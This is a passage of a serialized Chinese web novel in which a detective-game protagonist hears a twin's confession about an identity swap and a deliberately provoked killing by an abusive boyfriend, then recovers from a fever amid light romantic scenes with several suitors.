“不关你的事。”她回答得生硬,眼珠子却不自觉瞥向手机桌面上和杜俊明的合照。
韩瑾顺着她的目光看去,追问:“是不是他干的?”
姚雨欣微微一挣,扯起领子,遮住了前胸后背的淤青。
“为什么不跟他分手?”
姚雨欣还是沉默。
当初杜俊明出手保护了她时,她第一次有了被爱和关心的感觉,所以心甘情愿倾其所有把一切都给他。可时间一长,他就不再掩饰自己暴戾的性格,稍不顺心就对她拳脚相加。
她不是没向杜俊明提过分手,可每次她刚试探性地说出口,换来的就是一顿更粗暴的毒打,时间一长,她也就默默接受了。
那些一闪而过的挣扎和逃脱的念头,最终都静谧地消失在习惯性的逆来顺受里。她的人生向来如此,或许是她活该吧。
韩瑾长长叹了口气,半晌后,她仿佛下定了某种决心,拉住了姚雨欣的手:“姐姐,你帮了我,我也想帮你。”
第77章
第二天再见到韩瑾时,姚雨欣吓了一跳,只见她不知什么时候把那一头乌黑柔顺的头发染成了红色,脚踩一双高跟鞋,身上还穿着一件廉价的亮片短裙。
她在姚雨欣面前转了个圈,问她:“姐姐,怎么样?我看起来像不像之前的你?”
姚雨欣的声音压得很沉:“我当时有些生气,想不明白她为什么要这么做,是在嘲笑我吗?但她只说这是她计划中的一环,让我先别多过问,按她说的去做就行。”
她们一起去了纹身店,韩瑾拿出照片,要求纹身师按照姚雨欣胸前那朵红色玫瑰给她纹上一个一模一样的纹身。
离开纹身店后,她把一串钥匙交到了姚雨欣手里,对她说:“从现在起,你就是韩瑾,而我就是姚雨欣。”
这对双胞胎姐妹从那天开始就互换了身份,姚雨欣搬进了韩家的大别墅里,开着韩父给韩瑾买的小轿车,吃着保姆做的精致饭菜。
而韩瑾则搬进了姚雨欣的出租屋里,穿上了她的那些廉价短裙,代替她去娱|乐城上班。
当然,姚雨欣也努力兑现对韩瑾的承诺,尽可能地花时间去陪伴韩父韩母。
她十分珍惜这样的生活,家人给予的关心和爱护,是她在过去二十多年里从未曾、也不敢想象的。
为了让自己与韩瑾更像一些,她把韩瑾写的小说、日记翻来覆去看了十几遍,几乎要把里面的字字句句都背下来,还会对着镜子模仿韩瑾的一瞥一笑、一言一行。
时间久了,她甚至觉得自己就是韩瑾。
期间两个人当然也会碰面,只不过联系时用的都是以韩瑾的名字办的电话卡,所以一开始警方并没有从姚雨欣的通话记录中查到端倪。
程述突然打断她:“你知道她要去找杜俊明的事吗?”
姚雨欣犹豫片刻,点了点头。
两个人最后一次见面,还是在姚雨欣的出租屋里。
韩父韩母一直没对这个“许久未见”的女儿产生怀疑,就算偶尔性格或举止上的差别令他们疑惑,姚雨欣也能用“在国外呆太久,不习惯”敷衍过去。
韩瑾躺在床上,看着姚雨欣拍的那些和韩父韩母相处的视频,露出了欣慰的笑容。
她把手机还给姚雨欣,握住她的手:“姐姐,我还需要你做最后几件事,等事情结束后,这个世界上就不会再有姚雨欣,也不会有吸血的家人和会动手打人的男朋友了。”
秦聿风问:“她让你做了什么?”
姚雨欣顿了顿,说:“她给了我一顶假发,让我买一只最大号的行李箱送到杜俊明家,并趁他熟睡时在他手机里装上定位软件。”
“还有呢?”
她低头看了看自己缠满纱布的双手:“还有,让我想办法把指纹弄掉,因为这是区别同卵双胞胎身份的唯一方式。”
程述一挑眉,问道:“你就没问过她
原因?”
姚雨欣自嘲地笑了笑:“小瑾学历高,头脑比我聪明,虽然我不明白她想干什么,但一定有她的理由。”
“她为什么不亲自去?”
“那个时候,她的病已经很严重了,整个人瘦了一大圈,整夜整夜咳嗽,只能靠大量的止痛药来缓解癌症晚期带来的疼痛感,为了不暴露,她去世前的几天,我都会偷偷从家里溜出来,戴上假发,继续去娱|乐城上班。”
姚雨欣缠着纱布的双手圈着水杯,目光落在杯中微微晃荡的水面上,刚刚干涸的眼角重新泛起泪光:“也是在那时候,我才知道娜娜和‘我’发生过争执的事。”
程述问她:“所以那个发现尸体的报警电话也是你打的?”
“小瑾去找杜俊明之前,给我打了个电话,让我留意杜俊明当天晚上的定位,第二天早上报警说在那儿发现了尸体。”
她声音微颤,似乎是在强忍着情绪:“当时我隐隐猜到她想干什么,拼命阻止她,可她却很坚定,说这是她最后的心愿。”
——姚雨欣还记得在最后的那个电话里,与她的手足无措、语无伦次相比,韩瑾显得十分平静,甚至还带着几分释然。
她说:“姐姐,我们不是说好了吗?只有‘姚雨欣’彻底从世界上消失,你才能成为真正的韩瑾。这是我自己的决定,别忘了,你还答应过我要帮我照顾好我爸妈的。”
那天晚上,姚雨欣一夜未眠,第二天天一亮,就按韩瑾交代的那样,用之前下载好的定位软件查看了杜俊明前一天晚上停留时间最久的位置,然后打去了报警电话。
祝好突然想到之前查阅杜俊明的审讯记录时,曾看到过他对行凶过程的描述。
——【为什么要杀了姚雨欣?】
——【她跟我提了分手,还说了很多很难听的话,似乎故意想要激怒我。我当时狠狠甩了她几巴掌,又踹了几脚,平时只要我一动手,她马上就老实了,可那天她好像变了个人似的,不管我下手多狠,她都没停下来。】
——【然后呢?】
——【然后……她态度很嚣张,让我有本事就弄死她,不然我就不是个男人。我当时气昏了头,正好看到桌上放着一捆绳子,我就……就勒住了她的脖子,等我反应过来时,她已经没了呼吸。】
当时韩瑾是下了多大的决心,才能做到如此坦然地赴死呢?
她一开始找到姚雨欣,或许只是为了让她代替自己去陪伴自己的养父母。可最后她却以自己的生命为代价,亲手把伤害姐姐的人送进监狱,替她除掉了后患。
祝好一时也说不清她到底算是自私,还是无私。
秦聿风微微向后靠在座椅里,抱着双臂,眯起眼睛看着姚雨欣:“你说的这些,都是你的一面之词,有什么证据吗?”
姚雨欣默了片刻,从手提包里拿出手机,点开一个视频:“这是她出事的第二天,定时发送到我邮箱的一段视频。她说如果不是万不得已,这段视频不要让人看到,但如果警方真的怀疑到我身上,就可以把这段视频给你们看。”
视频的背景是韩瑾的房间,当时的她还是黑色的头发,拍摄时间应该是在与姚雨欣交谈后的那个晚上。
她轻轻扯下自己的睡衣领口,露出白皙、没有纹身的脖颈,对着镜头露出一个淡淡、又略带苦涩的笑容:“警察同志,你好,我是韩瑾。”
说完又分别在十只手指头上涂上印泥,将指纹一一印在纸上,展示在镜头前:“这是我的指纹。”
做完这一切,她对着镜头,语气平静、面无波澜地说道:“我得了肺癌,医生说我活不长了,我不希望我的养父母因为我的死伤心难过,所以我恳求我的双胞胎姐姐姚雨欣能代替我继续赡养、照顾他们。”
“接下来是我的计划:姚雨欣的男友杜俊明有家暴的前科,性格暴躁易怒,我会想办法激怒他,让他将我杀死。另外,我会以‘姚雨欣’的身份将自己的DNA留在数据库里,以便警方在发现我的尸体时能尽快确认死者就是我——或者说,确认死者就是姚雨欣。”
“录制视频的目的,是为了向警方证明,所有一切,包括我的死亡,都是我一手策划的,与姚雨欣无关。在此之前,她对这些并不知情,所以不应当受到任何惩罚。而我本人希望警方遵从我的意愿,不要将这一切告诉我的养父母,因为我不想让他们体会到失去爱女的痛苦。”
“我把这份指纹以及的我亲笔自述放在奥斯特健身馆306号储物箱里,钥匙就放在前台,报上我的名字就能拿到。感谢警方的辛苦调查,给你们添麻烦了,实在抱歉。”
屏幕暗下,视频在这里戛然而止。
秦聿风和程述对视了一眼,从口袋里摸出手机,离开了休息室,应该是派人查证去了。
程述手肘支在沙发扶手上,撑着下巴,以意味深长地看着她:“你其实刚才完全可以离开,你知道我们并没有证据带走你,可为什么还要选择放弃航班,留下来跟我们解释这些?”
姚雨欣低下头,飞快地扯了下嘴角,露出一个干巴巴的苦笑:“自从知道小瑾去世之后,我的良心每分每秒都在受到谴责,虽然我知道这一切都是她的决定,但还是觉得十分愧疚。”
“不得不承认,我其实很自私,自私到让妹妹以我的身份被殴打、被勒死,然后自己再以她的身份继续活下去,享受曾经属于她的一切。或许有机会让我把这件事说出来……能让我好受一些。”
过了一会儿,秦聿风重新回到休息室里,手指点了点桌面:“姚小姐,在我们调查清楚之前,你暂时不能离开淮江市,我一会儿会安排车辆把你送你回家。”
姚雨欣没说话,只是拭去眼角的泪水,轻轻点了点头。
祝好的耳边终于响起系统提示音:“恭喜您顺利完成本次剧情!”
她长舒一口气,虽然警方那边还需要一些时间来进行后续的确认,但对她来说,这个阶段的剧情总算是顺利完成了。
秋天的淮江市天气渐寒,风里携带着丝丝冷意,刚走出机场,她就忍不住打了个寒战,只觉得脑袋一片浑浑噩噩,头痛得像是有人不停用电钻在钻她的太阳穴,呼出来的气息都是滚烫的,刚才在休息室好不容易压下来的反胃又一次卷土重来。
看来她还是太高估自己的身体素质了,昨晚因为找到证据太兴奋,没感觉到难受,但风寒在身体里经过一夜发酵,最终还是把她压垮了。
躺在车后座上,她闭着双眼,紧抿嘴唇,想要把一阵接一阵漫上喉头的恶心给压下去,突然听到程述问她:“小助手,你今天话怎么那么少?”
祝好忍了又忍,才艰难地嘟哝道:“我有点儿难受。”
程述愣了一下,似乎是没反应过来:“难受?为什么难受?”
祝好全身发烫,身上却又不时有一阵阵寒意袭来,这种冷热交替的感觉搅得她眉心和鼻尖上都渗出了一层冷腻的汗珠。
她蜷缩在后座上,缓缓摇了摇头。
迷糊中,她感觉车停了下来,后座的车门被打开,一只手轻轻覆在她额头上,接着一件带着熟悉的沐浴露香味的外套盖在她身上,方才的寒意顿时消散不少。
程述的声音朦朦胧胧,像是隔着一层水墙传进她耳朵里:“她发烧了,老秦,先送
我们回家吧。”
秦聿风应了一声,车子又启动了,这回车速很慢,晃晃悠悠的。途中他似乎接了个电话,不过大概是怕把她吵醒,刻意把声音压得很低。
也不知开了多久,车子再次平稳停下,有人把她从后座上抱下来,她下意识把眼睛睁开一条缝,看到是程述,不知怎么的觉得安心不少,又理所当然地把眼睛闭上了。
“你行么,老程,要不我来吧?”
“别啰嗦,这点伤算什么,去忙你的吧。”
程述抱着她下了车,一步一步上了楼,途中还不时嘀咕:“怎么那么沉呢。”
祝好想反驳说自己一点儿也不沉,一定是他最近疏于锻炼、肱二头肌退化了,又想到他手臂上的伤还没好全,自己不应该那么苛刻,算了,暂且放他一马。
然而这些话都只在脑子里打了个转,她连张嘴说话的力气都没有,索性放松身心,任由思绪逐渐坠入意识的深渊。
第78章
祝好自诩身体素质还不错,平时连头疼脑热都不常有,印象中上一回生病已经是两三年前了。
当时她还在读大学,假期放假回家时不知是上火还是感染了风寒,突然在某个夜里发起了高烧,还咳得撕心裂肺,甚至咳出了血沫子,差点儿以为自己得了什么绝症。
她躺在床上,突然有些委屈,眼泪控制不住扑簌往下掉,枕头都湿了一大片。
从前每次她有个头疼脑热的,爸爸都急得不行,明明吃点药就能好,他非要大半夜背着她上医院,边跑还边念叨:“好好,你可别出什么事,不然我怎么跟你妈交代呀。”
再早一点儿,妈妈还在的时候,每次祝好一咳嗽,她都会煮一碗梨汤端到床前喂给她。
祝好还记得梨汤里面放了百合、川贝和冰糖,吃起来暖暖甜甜的。
那天晚上哭了一会儿,她还是艰难地从床上爬起来,拖着病恹恹的身子去了医院,孤伶伶地一个人挂号,一个人排队取药,一个人打车回家。
后来病好了再一回想,又觉得自己太矫情,有什么好哭的,一个人去医院看病也没什么大不了的嘛。
这回的高烧也是来势汹汹,祝好只觉得头痛欲裂,太阳穴每一次抽动都伴随着剧烈的胀痛,全身皮肤像是被削薄了好几次,哪怕碰到身下柔软的被褥也觉得生疼。
半梦半醒中,她听到程述象征性地敲了敲阁楼的门框,但又懒得回话,便含混不清地应了一声。
阁楼的灯被摁亮了,隔着一层眼皮,祝好也觉得有些刺眼,下意识用被子蒙住头。
她听到程述刻意放缓的脚步声,接着肩膀被他轻轻拍了拍:“起来吃药。”
祝好只觉得浑身无力,四肢百骸沉重得像是灌了铅,费力地摇了摇头,从喉咙里咕哝道:“我不想动。”
程述不由分说把她从床上扶起来,她整个人怏怏地靠在床头,差点儿连睁眼的力气都没有。
唇边突然有一瞬温热的触感,她微微睁眼,看到程述端着装了药的碗,把勺子递到了她嘴边。
祝好眼珠子向下盯着勺子里棕色的药液,过载的大脑一下子没反应过来:妈呀,程述在喂她喝药?这是病得太重,出现了幻觉吗?
正犹豫到底要不要喝下去,就听到程述催促她:“你是不是烧傻了,连张嘴都不会了?”
她舔了舔干裂的嘴唇,小心翼翼张嘴,勺子送到嘴里,舌尖上的苦味让她清醒了大半:什么,居然不是幻觉?!
即便她实在没什么心思贫嘴,但眯眼端详程述片刻后,还是忍不住问他:“老大,你是被附身了吗?”
程述语气懒洋洋的,连眼皮都懒得掀开:“别啰嗦,你以为我想管你?你要是病死在阁楼里,这就是间凶宅了,到时候房东大妈不得骂死我啊?”
她松了口气,能在人难受得半死时说出这么没有人性的话,除了他也没谁了。
程述又从碗里舀了一勺药,祝好反应过来,赶紧接过他手里的碗,如临大敌向后缩了缩:“我、我自己来就行。”
憋着气一股脑把药喝光,浓缩的苦味直窜到天灵盖,祝好的五官差点皱成一团,她咂了咂嘴,把碗还给程述,又蜷回被窝里,默默祈祷自己的免疫系统加上比命还苦的药能尽早打败病毒。
程述端着碗下楼去了,过了一会儿,脚步声又渐行渐近,祝好微微睁眼,看到他把一杯水放在床头,对她说了句:“水放这儿,渴了自己喝。”
困意席卷而来,她含含糊糊地嗯了一声,又听他说了句“有事就喊我”,但所有声响很快就化成一片朦胧,随着铺天盖地的疲倦不知所终。
这一夜她睡得并不安稳,恍惚间做了很多梦,先是梦见白眼狼一下子吃了二十个罐头,身子急剧膨胀,差点把整间屋子都撑破了;然后是爸爸在床边俯身看她,接着爸爸的脸突然变成了程述,程述伸手探了探她的额头,给她挪了下被子,又转身走了……
迷蒙中,她甚至分不清哪个是梦,哪个是现实,只觉得许多画面走马观花似的从脑子里闪过,等她从乱梦中睁眼时,天已经亮了。
祝好浑身汗涔涔,像是刚被从水里捞出来似的,第一反应就是转头看了看四周——还好,墙壁、窗子都好好的,没有任何破损,说明白眼狼应该也没有偷吃二十个罐头。
稍微活动了一下,她惊讶地发现除了精神还有些萎顿之外,发热、头疼和反胃这些不适感都一并消失了。
她从床上爬起来,翻出一套新的睡衣,想去洗个热水澡。刚走到客厅,就看到程述歪着脑袋睡在沙发上,身上的毯子有一半滑落在地上,被白眼狼当成了猫窝。
她趴在沙发靠背上居高临下看了他一会儿,才轻轻推了推他:“诶,老大,你怎么不回房间里睡?”
程述缓缓睁开眼,眼神里还带着些将醒未醒时的茫然,几乎是下意识地回答:“我怕你叫我我听不到……”
随即好像瞬间清醒过来,一下子从沙发上坐起身,挠了挠鸟窝似的头发,迅速把话转了个弯:“你怎么醒了,还烧吗?”
祝好病没好全,反应比平时慢了半拍,愣了片刻才摸了下自己的额头:“应该不烧了吧。”
话说出口,才发现喉咙有些干哑,便用力清了清嗓子。
程述瞥了眼她手里的浴巾和睡衣,皱了皱眉:“刚退烧別马上洗澡,用热毛巾擦擦身子就行。”
说完起身伸了个懒腰:“我去买早餐,想吃什么,顺便给你带。”
昨天除了那碗比命还苦的药,祝好几乎没怎么吃东西,此刻嘴里寡淡得要命。
她想了想:“炸鸡。”
程述:“……”
从他那凉飕飕的眼神上看,吐槽的话大概已经到了嘴边,只不过顾及到她还是个病号,又把话咽了回去。简单洗漱后,他随意把额前散落的头发捋到后脑,拎起一件外套出了门。
祝好蹲下身随意撸了撸竖着尾巴在脚边打转的白眼狼,然后进卫生间,用热水沾湿毛巾洗了把脸,又把身子擦了一遍,换上干净的睡衣,整个人轻松不少。
她坐在沙发上,打开了控制面板,发现加上完成剧情后的奖励,积分又变成了315点,虽然不及之前的三分之一,但好歹正呈现上升之势,也算是可喜可贺了。
程述没一会儿就提着两个袋子回来了,把其中一个袋子放在餐桌上后,又转身进了厨房。
祝好满怀期待地打开桌上的袋子——果不其然,没有炸鸡,只有一碗热气腾腾的白粥。
程述打开水龙头,余光窥到她一脸失望,嗤笑一声:“你还真想吃炸鸡啊?嗓子不想要了?”
祝好当然知道吃大病初愈就炸鸡不太现实,刚才也就是随口一提,但是白粥未免也太清淡了些。不过她饿了一天一夜,肚子空空,也顾不上挑食了,对着碗口吹了吹气,温温吞吞地低头喝粥。
程述不知在厨房里鼓捣着什么,从祝好的角度望去,只能看到他掐着腰站在灶台前的背影。白粥吃到一半时,他才端着一只碗出来搁在她面前。
祝好看着琥珀色的汤汁里白色的梨块,以及点缀其中的红枣和枸杞,心头微动,一时间有些晃神:“这是什么?”
话说出口,才后知后觉自己是
在明知故问。
程述又转身进了厨房,把锅放进洗碗池里,头也不回地答道:“梨汤,清热止咳的,你没喝过吗?”
当然喝过。只是自从爸爸妈妈离开后,她就再也没有自己做过——也不是不会做,只是不知怎么的,好像下意识地避开了这道饮品。
她没说话,把粥挪到一旁,用勺子舀了点梨汤喝了一口。
大概是冰糖放得不多的缘故,这碗梨汤没有妈妈以前做的那么香甜浓稠,但是又恰好凸显了梨子的清甜。
她低头搅动碗里的梨块,问程述:“你怎么会做这个?”
“以前小霜身子弱,总是咳嗽,吃了这个会好得快一些。”
程述从厨房里出来,慢条斯理地抽了张纸巾擦手,语气平静,毫无波澜。
听到程霜的名字,祝好下意识转头看了一眼那个装满关于指甲油杀手资料的房间。
距离自己来到这儿已经过去几个月了,案子也破了好几个,但指甲油杀手却一直没有出现。也不知道自己究竟还要过多少个剧情,才能全部通关,回到现实世界。
一阵敲门声打断了她的思绪,程述脸上闪过一丝疑惑,似乎想不明白谁会一大早来家里。
打开门的瞬间,疑惑瞬间变为了惊讶,还隐隐夹带着一丝嫌弃:“李老板,你怎么来了……”
李砚川?
祝好倏尔一愣,停下手中的勺子,抻长脖子向门口望去。
见程述没有请他进门的意思,李砚川也没挪动脚步,有些拘谨地站在门口:“我昨天给好好发信息,她说她生病了,我就想着来看看她……”
祝好昨天一整天意识模糊,此刻大脑才终于开始开始慢速运转,却怎么也想不起来什么时候收到李砚川的信息,更不记得自己是什么时候回复的。
还没等她反应过来,门口又传来一个熟悉的声音:“诶,老程,怎么客人来了你也不请人家进屋啊?走,李老板,先进去坐。”
下一秒,就看到秦聿风伸手把程述拨到一旁,揽着李砚川的肩膀兀自往屋里走。走了两步,又转头对着身后喊了一句:“温主任,你快点儿!”
第79章
秦聿风一进门就瞥到了餐桌旁的祝好,他松开李砚川,走上前跟她打招呼:“祝小姐,你好些了吗?”
“好多了,你们——”祝好偏头看了看他身后的温珣和李砚川:“怎么会一起来这儿?”
李砚川掂了掂手里的两袋包装精致的礼盒,满脸笑意:“我想着给你带点东西补补身子,正好在楼下碰到上回见过的这位警察同志,他说他也是来看你的,我们就一起上来了。”
面对这些不请自来的家伙,程述仿佛一只地盘被入侵的猫,浑身的毛都竖了起来,每个毛孔都向外散发着“老子现在很不爽”的气息。
他瞥了温珣一眼,从鼻腔里发出一声冷哼:“温主任呢?怎么有空屈尊降贵来我这儿啊?”
祝好也对温珣的出现感到有些吃惊,毕竟他平时忙得恨不得在鞋底装上两个车轱辘:“温主任今天不忙吗?”
温珣一如既往地忽略了程述,对祝好露出一脸和煦的微笑:“我已经快两年没休过假了,刚申请了一段时间的公休,听秦队说你病了,就顺便跟他一起过来看看你。”
祝好精神为之一振:三个可攻略对象居然同时出现了,还都是冲着自己来的,难道这就是传说中为爱扯头花的修罗场吗?
秦聿风轻车熟路地打开冰箱拿了三瓶苏打水,给温珣和李砚川一人递了一瓶,临时充当起了“主人”的角色,招呼他们:“都站着干嘛呀,去沙发上坐会儿吧。”
温珣接过水,四下打量屋子一眼,抿着嘴扶了扶眼镜,阴阳怪气地叹息一声:“没想到大名鼎鼎的程大侦探居然住在这种地方,实在是太低调了。”
程述面不改色一挑眉,嘴上也不输:“这叫大隐隐于市,温主任这种深受外国资本主义荼毒的海龟怎么能理解呢?”
感受到了乙游的快乐,祝好觉得病瞬间好了大半,完全忘记了自己还是一副头发蓬乱、满面油光,吊着一条腿坐在椅子上吃梨汤的形象,两眼放光留意着客厅的动静,期待着待会儿会上演什么刺激的新剧情。
客厅本就不宽敞,突然塞进三个人高马大的成年男性,一时间显得更逼仄了。
温珣和李砚川是第一次见面,彼此之间只是礼貌地点了点头,简单地做了自我介绍后,十分默契地各自坐在沙发的一头。
客厅里的沙发大概有一米八长,平时程述睡在上面还要微微弓着身子,如果他们三个双开门并排坐着,几乎就要挨在一起了。
秦聿风大概也是觉得这样太别扭,就没跟他们挤沙发,而是坐在了程述那张早已沦为白眼狼的御用猫窝的办公椅上。
白眼狼的领地意识没有程述那么强,它甚至没有因为自己的御榻被占领而生气——毕竟平时天天面对两张熟面孔,早就已经看腻了,家里突然出现那么多新鲜的人类,它表现得紧张又兴奋,叼着自己的玩具老鼠在客厅里乱转,物色着要宠幸的对象,颇有种第一次逛窑子的既视感。
站在原地甩着尾巴思考了一会儿,它首先选择了距离他最近的李砚川,李砚川弯腰摸了摸它的脑袋,它立刻不要脸地就地一躺,向其展示自己毛茸茸的肚皮,恨不得把“狠狠摸我”四个字写在脸上。
勉为其难陪李砚川玩了几分钟后,它翻动着肥硕的身躯从地上起来,高高翘起鸡毛掸子似的大尾巴走到温珣脚下转了一圈,在他的裤腿上留下自己的气味后,开始琢磨要去他腿上坐坐。没想到刚扭动屁股摆出起跳的准备姿势,就被温珣一个喷嚏吓得蹿出两米远。
温珣吸了下鼻子,抬起眼镜揉了揉眼睛,抱歉地对它说:“对不起啊,小猫咪,我对你有点儿过敏。”
秦聿风连人带椅挪到白眼狼面前,把它从地上拎起来掂了掂:“还小猫咪呢,这家伙都快要被养成长毛猪了,你瞧瞧,膀大腰圆的。”
白眼狼显然对他这句评价很是不爽,手舞足蹈奋力挣扎着,抗议似的嗷了一声,好不容易才从秦聿风怀里“刑满释放”,赶紧叼着老鼠一溜烟钻进了沙发底下,并默默在花生仁大的脑子里给本次新光顾的两脚兽打了负分。
同样不爽的还有程述,他看着不知为何同时出现在家里的三个人,差点把白眼翻上天:“我说你们,到底是来干什么的?”
秦聿风拍了拍身上的猫毛,不以为意一耸肩:“当然是来看祝小姐了,难不成还是来看你的?”
程述不耐烦地用指尖敲了敲桌面,抬手一指蓬头垢面的祝好:“有什么好看的,能吃能喝,能走能动,刚才还吵着要吃炸鸡,一时半会死不
了。那么稀罕,你们干脆把她领回家得了。”
这话一说出口,祝好就看到李砚川神色微微动了动,她心一紧,赶紧伸腿从桌下踢了程述一脚:“说什么呢,你别想不认账,我可是付了房租的。”
虽然他的大别墅跟阁楼相比,环境舒适不少,但如果真搬进去,那就没办法提升跟秦聿风和温珣的好感度、也没机会直接参与剧情了。
祝好也知道当海王不好,不过现在还不知道将来有多少剧情要走,没点积分傍身实在没什么安全感,所以她还是得多方面获取资源,不能吊死在一棵树上。
程述挨了一脚,支着下巴半带嘲讽地扫了她一眼:“我看你是好得差不多了,都有力气踹人了。”
祝好回了他一个白眼,低头喝了两口梨汤,突然想起什么,转头问秦聿风:“秦警官,韩瑾的事儿怎么样了?”
秦聿风向后靠在办公椅上:“我派人去了韩瑾说的那家健身馆,找到了她放在储物箱里的手写信和指纹,经过对比,字迹确实属于她,指纹也与尸体的一致。可以断定,她说的都是真的。”
祝好点点头:“也就是说,这件事确实跟姚雨欣没关系吗?”
“倒也不是完全没关系,她这样的情况,属于知情不报。”说着他随手拆开桌上的一包肉干,抽出一条放在嘴里嚼吧嚼吧:“不过我们的责任只是查出真相,至于她会不会受到处罚,那就是司法机关的事儿了。”
白眼狼听到动静,从沙发下面爬出来,蹲在秦聿风面前眼巴巴看着他,一脸的谄媚,似乎早已把几分钟前的恩怨情仇抛之脑后。
面对白眼狼态度的突然转变,他不由得疑惑起来:“老程,你们这只长毛猪怎么一直在看我啊?”
程述似笑非笑,抬手指了指他手里的袋子:“你看看包装袋上写的什么。”
秦聿风不明所以,翻过包装袋看了一眼,皱起眉头:“又是洋文?cat……cat什么?”
温珣好心提醒他:“‘catsnacks’,就是猫零食。”
他脸色一变,赶紧“呸”一声把嘴里的肉干吐出来,跑到卫生间漱口去了。
程述仿佛是等这一幕等了很久,坐在餐桌旁险些笑岔气。
秦聿风从卫生间出来时,抽了张纸巾擦了擦嘴,往程述后脑勺上来了一巴掌:“你小子故意的是吧,行,不欢迎我,你看我下次还来不来。”
“这句话你说了一万遍了,以后你最好是别来。”程述笑够了,毫不留情地一挥手,下了逐客令:“好了,东西也请你们吃了,人你们也看够了,没什么事就赶紧回去吧,我昨天为了照顾你们这位祝小姐一晚没睡好,现在要补觉了。”
祝好有些失望,这家伙简直就是自己攻略路上的绊脚石,扯头花剧情还没开始上演呢,怎么就开始往外赶人了。
李砚川率先起身,礼貌一颔首:“好好,看到你没事我就放心了,那我就先回去了,你好好休息,这些东西别忘了吃。”
“我也走了,回去还得写报告。”秦聿风抓起桌上的车钥匙,又转向祝好:“祝小姐,这回的案子你辛苦了,多休息几天,把身体养好些。”
祝好捧着那碗没喝完的梨汤点了点头。
程述懒洋洋一抬眼:“对了,厨房里的垃圾顺便帮我带下去,我就替那只长毛猪原谅你了。”
秦聿风暗骂一声国粹,还是转身走进厨房提了袋垃圾出来,早在门口等候的温珣替他开了门。
祝好看程述没有丝毫要送客的意思,便起身到门口送他们:“拜拜,下次有空再来——”
程述“砰”地关上门,截断了她的话音:“不会再有下次了。”
*
凉雨洗过的秋风渐冷,虽然艳阳高照,但阳光里没有一丝暖意。
这天祝好正披着毯子坐在床上翻看程述放在阁楼里那些刑侦学的书籍,手机突然响了起来。她看了眼屏幕,竟然是温珣打来的电话。
祝好摁下接听键,他清润又平稳的声线从听筒里传出:“祝小姐,你病好了吗?”
得益于程述每天一碗比命还苦的中药,祝好的病第三天就基本好全了,除了偶尔咳嗽、吸溜两下鼻子之外,其他的症状几乎全部消失。
这几天她几乎“足不出户”,在家里吃了睡、睡了吃,享受着跟白眼狼差不多的待遇。
一开始倒是过得挺开心,但是时间一长,她又有些蠢蠢欲动,开始期待着下一阶段的剧情什么时候才能开启。
祝好回他:“已经好得差不多啦,怎么了吗?”
温珣:“明天有空吗?我想请你帮个忙。”
帮忙?自己能帮他什么忙?
祝好愣了一下,问他:“怎么了?”
“是这样的,我妈妈要从国外回来一趟,刚好过几天是她生日,我想去商场给她挑个礼物。”电话那头的温珣轻咳一声,似乎有些不好意思:“不过……我担心我的眼光不太好,所以想请你帮我参考一下。”
没等祝好回答,他又贴心地补充了一句:“当然,如果你身体不舒服或者没时间,就不麻烦你了,你不用太为难。”
——李砚川太热情,秦聿风又太直男,与他们相比,温珣应该是三个可攻略对象中最有分寸、也是最好相处的了。
只是碍于职业原因,每次跟他见面的地点不是案发现场就是解剖室,除了案情之外的交流更是少之又少,以至于过完那么多个剧情,跟他的好感的还是最低的。
祝好当然不会放过这种提升好感度的机会,一口答应下来:“我没问题,什么时候去?”
温珣有些惊喜:“真的吗?如果可以的话,明天我去接你?”
祝好嗯了一声:“行,那明天见。”
第80章
跟温珣约定的时间在翌日午后。
祝好起床后简单收拾了一下自己,把及肩的头发扎成了个半丸子头,换上了前一天晚上在系统商城里精心挑选的针织外套和小裙子。
她拧开口红的盖子,刚对着镜子把口红涂好,温珣的电话正好打了进来:“祝小姐,我到楼下了。”
透过阁楼的天窗往楼下望去,楼下停着一辆白色轿车,温珣从驾驶室的车窗探出头来,朝着她的方向摆了摆手。
“稍等,我这就下去。”祝好回到镜子前抿了抿口红,背起小挎包下了楼。
程述跟往常一样靠在沙发上,一只手臂搭在后脑,一只手架着一本厚厚的专业书籍。阳光透过客厅的窗子落在他身上,给他棱角分明的轮廓描上一层金边……
祝好不经意瞥了他一眼,明明有一张好皮囊,却因为那一副对任何事漫不经心、满不在乎的态度,无端给人一种退休老大爷的气质。
听到脚步声,他懒洋洋地冲她一掀眼皮:“又干嘛去?”
祝好:“玩儿去。”
他索然无味地抽回目光,继续低头看书:“真能耐,病才刚好就想着往外跑。”
相处的时间长了,祝好已经习惯了他的喜怒不形于色,但还是听出了他语气里的阴阳怪气,本想怼他两句,但想到这些天他照顾自己没有功劳也有苦劳,还是象征性地解释几句:“我跟温主任约好了,去帮他给他妈妈挑个礼物。”
他听了,露出一个带着揶揄的笑:“这么快就见到家长这一步了?”
祝好不满地刮了他一眼:“你瞎说什么呢?”
他没再吭声,顿了顿,又突然开口:“今天室外温度只有15度,你这么穿出门,如果再生病就等着自生自灭吧。”
祝好刚系好一只脚的鞋带,闻言单脚蹦到厨房,打开窗子,伸手感受了一下室外的温度,确实有些凉意。虽然难得出去玩儿一回,但温度还是比风度重要多了,想了想,她还是回阁楼把小裙子换成了牛仔裤。
走到三楼时,祝好心虚地往房东大妈的大门敞开的屋子里看了一眼,好在她正抱着小白狗目不转睛地盯着电视屏幕上的狗血肥皂剧,并没有注意到自己的经过,这才松了一口气,蹑手蹑脚地朝楼下走去。
温珣正靠在车旁低头摁手机,一手插在口袋里,双腿放松地在前交叠。他身穿剪裁得体的灰色风衣,内里搭了件黑色高领针织衫,下身是笔挺的西裤和一双黑色皮鞋,衬出颀长匀称的身材。
祝好一路小跑来他身旁:“抱歉啊,温主任,让你久等了。”
他收起手机,没有表现出丝毫不耐烦,十分绅士地为祝好打开副驾驶的门,镜片后那双微微上挑的桃花眼带着笑意:“没关系,今天天气很好,晒晒太阳也挺舒服。”
温珣的车外表看起来很低调,内饰却质感十足,车里收拾得很干净,弥漫着一股淡淡的木质香气。祝好坐惯了程述那辆跟他的人生态度一样随便的手动档,一下子还有些不适应,差点连调整车窗的按键都没找到。
温珣贴心地替她把车窗开了一条缝,启动了车子。
祝好有心想找话题闲聊:“温主任……”
温珣微微转头对她笑了一下:“祝好,不是工作场合我们就别那么正式了,直接称呼名
字就行。”
很好,没像李砚川那样一上来就“好好”,真不愧是拥有超绝分寸感的成熟男人。
祝好点点头,也回以一笑:“温珣,你妈妈是一直生活在国外吗?”
温珣开车的方式跟他的性格一样稳重,就算碰到不打灯随意变道的车也不会发火,只是稍稍减速,让对方先过。
“嗯,她是一位小有名气的美容整形医师,在国外拥有一家连锁的整形机构,按照她的愿望,我本来也应该当一名整形医生的。”
